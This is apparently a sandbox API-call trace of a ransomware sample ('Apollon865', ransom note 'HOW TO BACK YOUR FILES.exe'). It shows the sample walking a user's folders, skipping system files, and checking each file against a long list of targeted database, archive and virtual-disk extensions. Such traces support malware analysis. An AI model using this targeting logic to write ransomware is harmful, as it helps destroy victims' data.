	[0087.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.952] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.952] CloseHandle (hObject=0x15c) returned 1
	[0087.953] CloseHandle (hObject=0x9c) returned 1
	[0087.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0087.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.955] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb64f00, ftCreationTime.dwHighDateTime=0x1d4d00d, ftLastAccessTime.dwLowDateTime=0xacf3c420, ftLastAccessTime.dwHighDateTime=0x1d4d245, ftLastWriteTime.dwLowDateTime=0xacf3c420, ftLastWriteTime.dwHighDateTime=0x1d4d245, nFileSizeHigh=0x0, nFileSizeLow=0x16c7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2LSHYecnqtd30k91tr.m4a", cAlternateFileName="2LSHYE~1.M4A")) returned 1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="Apollon865.txt.exe") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2=".") returned 1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="..") returned 1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="windows") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="bootmgr") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="temp") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="pagefile.sys") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="boot") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="ids.txt") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="ntuser.dat") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="perflogs") returned -1
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2="MSBuild") returned -1
	[0087.955] lstrlenW (lpString="2LSHYecnqtd30k91tr.m4a") returned 22
	[0087.955] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\-8 zdu3b59rJKIcQ1ig.wav") returned 90
	[0087.955] lstrcpyW (in: lpString1=0x119e68e, lpString2="2LSHYecnqtd30k91tr.m4a" | out: lpString1="2LSHYecnqtd30k91tr.m4a") returned="2LSHYecnqtd30k91tr.m4a"
	[0087.955] lstrlenW (lpString="2LSHYecnqtd30k91tr.m4a") returned 22
	[0087.955] lstrlenW (lpString="Apollon865") returned 10
	[0087.955] lstrcmpiW (lpString1="0k91tr.m4a", lpString2="Apollon865") returned -1
	[0087.955] lstrlenW (lpString=".dll") returned 4
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2=".dll") returned 1
	[0087.955] lstrlenW (lpString=".lnk") returned 4
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2=".lnk") returned 1
	[0087.955] lstrlenW (lpString=".ini") returned 4
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2=".ini") returned 1
	[0087.955] lstrlenW (lpString=".sys") returned 4
	[0087.955] lstrcmpiW (lpString1="2LSHYecnqtd30k91tr.m4a", lpString2=".sys") returned 1
	[0087.955] lstrlenW (lpString="2LSHYecnqtd30k91tr.m4a") returned 22
	[0087.955] lstrlenW (lpString="bak") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1
	[0087.956] lstrlenW (lpString="ba_") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1
	[0087.956] lstrlenW (lpString="dbb") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1
	[0087.956] lstrlenW (lpString="vmdk") returned 4
	[0087.956] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1
	[0087.956] lstrlenW (lpString="rar") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1
	[0087.956] lstrlenW (lpString="zip") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1
	[0087.956] lstrlenW (lpString="tgz") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1
	[0087.956] lstrlenW (lpString="vbox") returned 4
	[0087.956] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1
	[0087.956] lstrlenW (lpString="vdi") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1
	[0087.956] lstrlenW (lpString="vhd") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1
	[0087.956] lstrlenW (lpString="vhdx") returned 4
	[0087.956] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1
	[0087.956] lstrlenW (lpString="avhd") returned 4
	[0087.956] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1
	[0087.956] lstrlenW (lpString="db") returned 2
	[0087.956] lstrcmpiW (lpString1="4a", lpString2="db") returned -1
	[0087.956] lstrlenW (lpString="db2") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1
	[0087.956] lstrlenW (lpString="db3") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1
	[0087.956] lstrlenW (lpString="dbf") returned 3
	[0087.956] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1
	[0087.956] lstrlenW (lpString="mdf") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1
	[0087.957] lstrlenW (lpString="mdb") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1
	[0087.957] lstrlenW (lpString="sql") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1
	[0087.957] lstrlenW (lpString="sqlite") returned 6
	[0087.957] lstrcmpiW (lpString1="tr.m4a", lpString2="sqlite") returned 1
	[0087.957] lstrlenW (lpString="sqlite3") returned 7
	[0087.957] lstrcmpiW (lpString1="1tr.m4a", lpString2="sqlite3") returned -1
	[0087.957] lstrlenW (lpString="sqlitedb") returned 8
	[0087.957] lstrcmpiW (lpString1="91tr.m4a", lpString2="sqlitedb") returned -1
	[0087.957] lstrlenW (lpString="xml") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1
	[0087.957] lstrlenW (lpString="$er") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1
	[0087.957] lstrlenW (lpString="4dd") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1
	[0087.957] lstrlenW (lpString="4dl") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1
	[0087.957] lstrlenW (lpString="^^^") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1
	[0087.957] lstrlenW (lpString="abs") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1
	[0087.957] lstrlenW (lpString="abx") returned 3
	[0087.957] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1
	[0087.957] lstrlenW (lpString="accdb") returned 5
	[0087.957] lstrcmpiW (lpString1="r.m4a", lpString2="accdb") returned 1
	[0087.957] lstrlenW (lpString="accdc") returned 5
	[0087.957] lstrcmpiW (lpString1="r.m4a", lpString2="accdc") returned 1
	[0087.957] lstrlenW (lpString="accde") returned 5
	[0087.957] lstrcmpiW (lpString1="r.m4a", lpString2="accde") returned 1
	[0087.957] lstrlenW (lpString="accdr") returned 5
	[0087.957] lstrcmpiW (lpString1="r.m4a", lpString2="accdr") returned 1
	[0087.957] lstrlenW (lpString="accdt") returned 5
	[0087.957] lstrcmpiW (lpString1="r.m4a", lpString2="accdt") returned 1
	[0087.958] lstrlenW (lpString="accdw") returned 5
	[0087.958] lstrcmpiW (lpString1="r.m4a", lpString2="accdw") returned 1
	[0087.958] lstrlenW (lpString="accft") returned 5
	[0087.958] lstrcmpiW (lpString1="r.m4a", lpString2="accft") returned 1
	[0087.958] lstrlenW (lpString="adb") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.958] lstrlenW (lpString="adb") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.958] lstrlenW (lpString="ade") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1
	[0087.958] lstrlenW (lpString="adf") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1
	[0087.958] lstrlenW (lpString="adn") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1
	[0087.958] lstrlenW (lpString="adp") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1
	[0087.958] lstrlenW (lpString="alf") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1
	[0087.958] lstrlenW (lpString="ask") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1
	[0087.958] lstrlenW (lpString="btr") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1
	[0087.958] lstrlenW (lpString="cat") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1
	[0087.958] lstrlenW (lpString="cdb") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1
	[0087.958] lstrlenW (lpString="ckp") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1
	[0087.958] lstrlenW (lpString="cma") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1
	[0087.958] lstrlenW (lpString="cpd") returned 3
	[0087.958] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1
	[0087.958] lstrlenW (lpString="dacpac") returned 6
	[0087.958] lstrcmpiW (lpString1="tr.m4a", lpString2="dacpac") returned 1
	[0087.959] lstrlenW (lpString="dad") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1
	[0087.959] lstrlenW (lpString="dadiagrams") returned 10
	[0087.959] lstrcmpiW (lpString1="0k91tr.m4a", lpString2="dadiagrams") returned -1
	[0087.959] lstrlenW (lpString="daschema") returned 8
	[0087.959] lstrcmpiW (lpString1="91tr.m4a", lpString2="daschema") returned -1
	[0087.959] lstrlenW (lpString="db-journal") returned 10
	[0087.959] lstrcmpiW (lpString1="0k91tr.m4a", lpString2="db-journal") returned -1
	[0087.959] lstrlenW (lpString="db-shm") returned 6
	[0087.959] lstrcmpiW (lpString1="tr.m4a", lpString2="db-shm") returned 1
	[0087.959] lstrlenW (lpString="db-wal") returned 6
	[0087.959] lstrcmpiW (lpString1="tr.m4a", lpString2="db-wal") returned 1
	[0087.959] lstrlenW (lpString="dbc") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1
	[0087.959] lstrlenW (lpString="dbs") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1
	[0087.959] lstrlenW (lpString="dbt") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1
	[0087.959] lstrlenW (lpString="dbv") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1
	[0087.959] lstrlenW (lpString="dbx") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1
	[0087.959] lstrlenW (lpString="dcb") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1
	[0087.959] lstrlenW (lpString="dct") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1
	[0087.959] lstrlenW (lpString="dcx") returned 3
	[0087.959] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1
	[0087.959] lstrlenW (lpString="ddl") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1
	[0087.960] lstrlenW (lpString="dlis") returned 4
	[0087.960] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1
	[0087.960] lstrlenW (lpString="dp1") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1
	[0087.960] lstrlenW (lpString="dqy") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1
	[0087.960] lstrlenW (lpString="dsk") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1
	[0087.960] lstrlenW (lpString="dsn") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1
	[0087.960] lstrlenW (lpString="dtsx") returned 4
	[0087.960] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1
	[0087.960] lstrlenW (lpString="dxl") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1
	[0087.960] lstrlenW (lpString="eco") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1
	[0087.960] lstrlenW (lpString="ecx") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1
	[0087.960] lstrlenW (lpString="edb") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1
	[0087.960] lstrlenW (lpString="epim") returned 4
	[0087.960] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1
	[0087.960] lstrlenW (lpString="fcd") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1
	[0087.960] lstrlenW (lpString="fdb") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1
	[0087.960] lstrlenW (lpString="fic") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1
	[0087.960] lstrlenW (lpString="flexolibrary") returned 12
	[0087.960] lstrcmpiW (lpString1="d30k91tr.m4a", lpString2="flexolibrary") returned -1
	[0087.960] lstrlenW (lpString="fm5") returned 3
	[0087.960] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1
	[0087.960] lstrlenW (lpString="fmp") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1
	[0087.961] lstrlenW (lpString="fmp12") returned 5
	[0087.961] lstrcmpiW (lpString1="r.m4a", lpString2="fmp12") returned 1
	[0087.961] lstrlenW (lpString="fmpsl") returned 5
	[0087.961] lstrcmpiW (lpString1="r.m4a", lpString2="fmpsl") returned 1
	[0087.961] lstrlenW (lpString="fol") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1
	[0087.961] lstrlenW (lpString="fp3") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1
	[0087.961] lstrlenW (lpString="fp4") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1
	[0087.961] lstrlenW (lpString="fp5") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1
	[0087.961] lstrlenW (lpString="fp7") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1
	[0087.961] lstrlenW (lpString="fpt") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1
	[0087.961] lstrlenW (lpString="frm") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1
	[0087.961] lstrlenW (lpString="gdb") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.961] lstrlenW (lpString="gdb") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.961] lstrlenW (lpString="grdb") returned 4
	[0087.961] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1
	[0087.961] lstrlenW (lpString="gwi") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1
	[0087.961] lstrlenW (lpString="hdb") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1
	[0087.961] lstrlenW (lpString="his") returned 3
	[0087.961] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1
	[0087.961] lstrlenW (lpString="ib") returned 2
	[0087.961] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1
	[0087.961] lstrlenW (lpString="idb") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1
	[0087.962] lstrlenW (lpString="ihx") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1
	[0087.962] lstrlenW (lpString="itdb") returned 4
	[0087.962] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1
	[0087.962] lstrlenW (lpString="itw") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1
	[0087.962] lstrlenW (lpString="jet") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1
	[0087.962] lstrlenW (lpString="jtx") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1
	[0087.962] lstrlenW (lpString="kdb") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1
	[0087.962] lstrlenW (lpString="kexi") returned 4
	[0087.962] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1
	[0087.962] lstrlenW (lpString="kexic") returned 5
	[0087.962] lstrcmpiW (lpString1="r.m4a", lpString2="kexic") returned 1
	[0087.962] lstrlenW (lpString="kexis") returned 5
	[0087.962] lstrcmpiW (lpString1="r.m4a", lpString2="kexis") returned 1
	[0087.962] lstrlenW (lpString="lgc") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1
	[0087.962] lstrlenW (lpString="lwx") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1
	[0087.962] lstrlenW (lpString="maf") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1
	[0087.962] lstrlenW (lpString="maq") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1
	[0087.962] lstrlenW (lpString="mar") returned 3
	[0087.962] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1
	[0087.962] lstrlenW (lpString="marshal") returned 7
	[0087.963] lstrcmpiW (lpString1="1tr.m4a", lpString2="marshal") returned -1
	[0087.963] lstrlenW (lpString="mas") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1
	[0087.963] lstrlenW (lpString="mav") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1
	[0087.963] lstrlenW (lpString="maw") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1
	[0087.963] lstrlenW (lpString="mdbhtml") returned 7
	[0087.963] lstrcmpiW (lpString1="1tr.m4a", lpString2="mdbhtml") returned -1
	[0087.963] lstrlenW (lpString="mdn") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1
	[0087.963] lstrlenW (lpString="mdt") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1
	[0087.963] lstrlenW (lpString="mfd") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1
	[0087.963] lstrlenW (lpString="mpd") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1
	[0087.963] lstrlenW (lpString="mrg") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1
	[0087.963] lstrlenW (lpString="mud") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1
	[0087.963] lstrlenW (lpString="mwb") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1
	[0087.963] lstrlenW (lpString="myd") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1
	[0087.963] lstrlenW (lpString="ndf") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1
	[0087.963] lstrlenW (lpString="nnt") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1
	[0087.963] lstrlenW (lpString="nrmlib") returned 6
	[0087.963] lstrcmpiW (lpString1="tr.m4a", lpString2="nrmlib") returned 1
	[0087.963] lstrlenW (lpString="ns2") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1
	[0087.963] lstrlenW (lpString="ns3") returned 3
	[0087.963] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1
	[0087.964] lstrlenW (lpString="ns4") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1
	[0087.964] lstrlenW (lpString="nsf") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1
	[0087.964] lstrlenW (lpString="nv") returned 2
	[0087.964] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1
	[0087.964] lstrlenW (lpString="nv2") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1
	[0087.964] lstrlenW (lpString="nwdb") returned 4
	[0087.964] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1
	[0087.964] lstrlenW (lpString="nyf") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1
	[0087.964] lstrlenW (lpString="odb") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.964] lstrlenW (lpString="odb") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.964] lstrlenW (lpString="oqy") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1
	[0087.964] lstrlenW (lpString="ora") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1
	[0087.964] lstrlenW (lpString="orx") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1
	[0087.964] lstrlenW (lpString="owc") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1
	[0087.964] lstrlenW (lpString="p96") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1
	[0087.964] lstrlenW (lpString="p97") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1
	[0087.964] lstrlenW (lpString="pan") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1
	[0087.964] lstrlenW (lpString="pdb") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1
	[0087.964] lstrlenW (lpString="pdm") returned 3
	[0087.964] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1
	[0087.965] lstrlenW (lpString="pnz") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1
	[0087.965] lstrlenW (lpString="qry") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1
	[0087.965] lstrlenW (lpString="qvd") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1
	[0087.965] lstrlenW (lpString="rbf") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1
	[0087.965] lstrlenW (lpString="rctd") returned 4
	[0087.965] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1
	[0087.965] lstrlenW (lpString="rod") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1
	[0087.965] lstrlenW (lpString="rodx") returned 4
	[0087.965] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1
	[0087.965] lstrlenW (lpString="rpd") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1
	[0087.965] lstrlenW (lpString="rsd") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1
	[0087.965] lstrlenW (lpString="sas7bdat") returned 8
	[0087.965] lstrcmpiW (lpString1="91tr.m4a", lpString2="sas7bdat") returned -1
	[0087.965] lstrlenW (lpString="sbf") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1
	[0087.965] lstrlenW (lpString="scx") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1
	[0087.965] lstrlenW (lpString="sdb") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1
	[0087.965] lstrlenW (lpString="sdc") returned 3
	[0087.965] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1
	[0087.965] lstrlenW (lpString="sdf") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1
	[0087.966] lstrlenW (lpString="sis") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1
	[0087.966] lstrlenW (lpString="spq") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1
	[0087.966] lstrlenW (lpString="te") returned 2
	[0087.966] lstrcmpiW (lpString1="4a", lpString2="te") returned -1
	[0087.966] lstrlenW (lpString="teacher") returned 7
	[0087.966] lstrcmpiW (lpString1="1tr.m4a", lpString2="teacher") returned -1
	[0087.966] lstrlenW (lpString="tmd") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1
	[0087.966] lstrlenW (lpString="tps") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1
	[0087.966] lstrlenW (lpString="trc") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.966] lstrlenW (lpString="trc") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.966] lstrlenW (lpString="trm") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1
	[0087.966] lstrlenW (lpString="udb") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1
	[0087.966] lstrlenW (lpString="udl") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1
	[0087.966] lstrlenW (lpString="usr") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1
	[0087.966] lstrlenW (lpString="v12") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1
	[0087.966] lstrlenW (lpString="vis") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1
	[0087.966] lstrlenW (lpString="vpd") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1
	[0087.966] lstrlenW (lpString="vvv") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1
	[0087.966] lstrlenW (lpString="wdb") returned 3
	[0087.966] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1
	[0087.966] lstrlenW (lpString="wmdb") returned 4
	[0087.967] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1
	[0087.967] lstrlenW (lpString="wrk") returned 3
	[0087.967] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1
	[0087.967] lstrlenW (lpString="xdb") returned 3
	[0087.967] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1
	[0087.967] lstrlenW (lpString="xld") returned 3
	[0087.967] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1
	[0087.967] lstrlenW (lpString="xmlff") returned 5
	[0087.967] lstrcmpiW (lpString1="r.m4a", lpString2="xmlff") returned -1
